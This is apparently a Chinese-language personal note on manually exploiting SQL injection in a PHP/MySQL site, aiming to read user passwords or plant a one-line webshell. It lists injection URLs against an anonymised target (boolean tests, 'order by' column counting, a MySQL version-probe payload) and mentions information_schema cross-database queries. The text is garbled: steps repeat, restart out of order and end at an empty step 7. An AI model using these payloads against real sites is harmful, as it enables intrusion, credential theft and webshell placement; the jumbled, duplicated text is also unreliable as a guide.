我的基本思路:
1、目标站点环境为:Windows+Apache+Mysql+PHP
2、存在SQL注入,能否直接写一句话木马
3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell
2、尝试1=2的情况,错误,说明这是个整型的注入点
3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。
4.如果第2步正确,使用字符类型 手工注入
尝试1=2'的情况,错误,说明这是个字符型的注入点
5.order by 24,尝试当前注入语句的表中字段个数为24,错误,说明字段数小于24
http://xxx/xxx.php?id=2900 order by 24
6.order by 23,尝试当前注入语句的表中字段个数为23,正确,说明字段数等于23
http://xxx/xxx.php?id=2900 order by 23
注:采用二分法策略可以提高效率
7.
1、目标站点环境为:Windows+Apache+Mysql+PHP
2、存在SQL注入,能否直接写一句话木马
3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell
4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马
当拿到一个MySQL的注入点的时候,我们需要判断MySQL的版本。因为当MySQL的版本小于4.0时,是不支持union select联合查询的;当MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。现在一般情况下,MySQL都是4.0以上的,所以我们就放心的用联合查询吧。
判断版本:and ord(mid(version(),1,1))>51
具体来说明下:
1、尝试1=1的情况,正确
- http://xxx/xxx.php?id=2900 and 1=1
2、尝试1=2的情况,错误,说明这是个整型的注入点
- http://xxx/xxx.php?id=2900 and 1=2
3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。
- http://xxx/xxx.php?id=2900 and '1'='1'
尝试1=2'的情况,错误,说明这是个字符型的注入点
- http://xxx/xxx.php?id=2900 and 1=2' 或者 http://xxx/xxx.php?id=2900 '
http://xxx/xxx.php?id=2900 order by 24
6.order by 23,尝试当前注入语句的表中字段个数为23,正确,说明字段数等于23
http://xxx/xxx.php?id=2900 order by 23
注:采用二分法策略可以提高效率
7.